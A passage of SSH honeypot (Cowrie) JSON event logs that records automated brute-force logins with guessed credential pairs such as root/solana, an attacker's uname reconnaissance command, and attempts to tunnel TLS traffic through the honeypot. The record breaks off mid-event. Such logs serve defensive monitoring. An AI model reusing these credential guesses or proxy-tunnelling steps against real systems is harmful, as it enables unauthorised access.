dsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:48:53.071299Z","src_ip":"195.178.110.218","session":"295c089859c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:48:53.311644Z","src_ip":"195.178.110.218","session":"295c089859c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:48:54.472409Z","src_ip":"195.178.110.218","session":"295c089859c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":47934,"dst_ip":"10.17.0.5","dst_port":22,"session":"8313da32efad","protocol":"ssh","message":"New connection: 2.57.122.210:47934 (10.17.0.5:22) [session: 8313da32efad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:03.669652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:03.675389Z","src_ip":"2.57.122.210","session":"8313da32efad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:03.781158Z","src_ip":"2.57.122.210","session":"8313da32efad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"solana","message":"login attempt [root/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:04.089651Z","src_ip":"2.57.122.210","session":"8313da32efad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:04.725687Z","src_ip":"2.57.122.210","session":"8313da32efad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:04.729255Z","src_ip":"2.57.122.210","session":"8313da32efad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:04.835136Z","src_ip":"2.57.122.210","session":"8313da32efad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:49:04.839483Z","src_ip":"2.57.122.210","session":"8313da32efad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":50714,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9e5d450314","protocol":"ssh","message":"New connection: 2.57.122.210:50714 (10.17.0.5:22) [session: cf9e5d450314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:17.889157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:17.893473Z","src_ip":"2.57.122.210","session":"cf9e5d450314","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:17.994157Z","src_ip":"2.57.122.210","session":"cf9e5d450314","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:18.295889Z","src_ip":"2.57.122.210","session":"cf9e5d450314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:19.398149Z","src_ip":"2.57.122.210","session":"cf9e5d450314","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":58326,"dst_ip":"159.203.135.109","dst_port":22,"session":"5719fc7b7232","protocol":"ssh","message":"New connection: 195.178.110.218:58326 (159.203.135.109:22) [session: 5719fc7b7232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:38.441053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:38.445631Z","src_ip":"195.178.110.218","session":"5719fc7b7232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:38.521055Z","src_ip":"195.178.110.218","session":"5719fc7b7232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:38.746277Z","src_ip":"195.178.110.218","session":"5719fc7b7232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:51:39.824912Z","src_ip":"195.178.110.218","session":"5719fc7b7232","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":44256,"dst_ip":"159.203.135.109","dst_port":22,"session":"baeb66028060","protocol":"ssh","message":"New connection: 185.156.73.233:44256 (159.203.135.109:22) [session: baeb66028060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:09.032385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:09.036896Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:09.111528Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:09.478303Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.254.77.2","dst_port":443,"src_ip":"185.156.73.233","src_port":57656,"message":"direct-tcp connection request to 34.254.77.2:443 from 127.0.0.1:57656","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:15.645209Z","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:15.758397Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\xd9\\xaf\\x96\\xc4\\xdfc\\x8a\\xd0\\xd0\\xc5\\xe7f\\xb1T\\x0f\\x05ze\\xbd\\xca\\xcb\\x9f\\x19_\\x18\\xba\\xaf\\xcc5e\\x1d \\xb6I\\xaeN\\xdbt\\xa6\\x05\\x96b\\xc1$6\\xbcflc\\xfa\\xbb\\x9a\\xbb\\x0b\\r\\x7f\\x0e\\x88\\xa8\\xe0\\xf1\\x08+\\xa3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe3_\\xfam\\tX\\xf7\\xec\\xee\\x83r@\\x044L_\\xfe\\x88N\\xec\\xa7x \\x10\\xf1\\xc9\\x19bB*\\x14\\x00\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\xd9\\xaf\\x96\\xc4\\xdfc\\x8a\\xd0\\xd0\\xc5\\xe7f\\xb1T\\x0f\\x05ze\\xbd\\xca\\xcb\\x9f\\x19_\\x18\\xba\\xaf\\xcc5e\\x1d \\xb6I\\xaeN\\xdbt\\xa6\\x05\\x96b\\xc1$6\\xbcflc\\xfa\\xbb\\x9a\\xbb\\x0b\\r\\x7f\\x0e\\x88\\xa8\\xe0\\xf1\\x08+\\xa3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe3_\\xfam\\tX\\xf7\\xec\\xee\\x83r@\\x044L_\\xfe\\x88N\\xec\\xa7x \\x10\\xf1\\xc9\\x19bB*\\x14\\x00\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:15.761608Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":58186,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:58186","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:16.100313Z","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:52:16.384936Z","src_ip":"185.156.73.233","session":"baeb66028060","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\xf3\\x95\\xef\\xd3\\xf4\\x98\\x87\\x1a\\xaf8\\x0e\\x02\\x046KE`\\xc6\\x1a8\\x18_t\\x1c\\xbc\\x9e\\xa0sD\\xfb\\x01 \\xe4\\xfe\\x01\\x80\\x9c\\xc9\\xf4\\x1a\\x15\\x960f\\x0f\\x82a\\xa0\\xa8\\xf2\\x18\\x03\\x8c\\x99g\\x91\\x9aW\\t\\x8f+{\\x7f\\x95\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 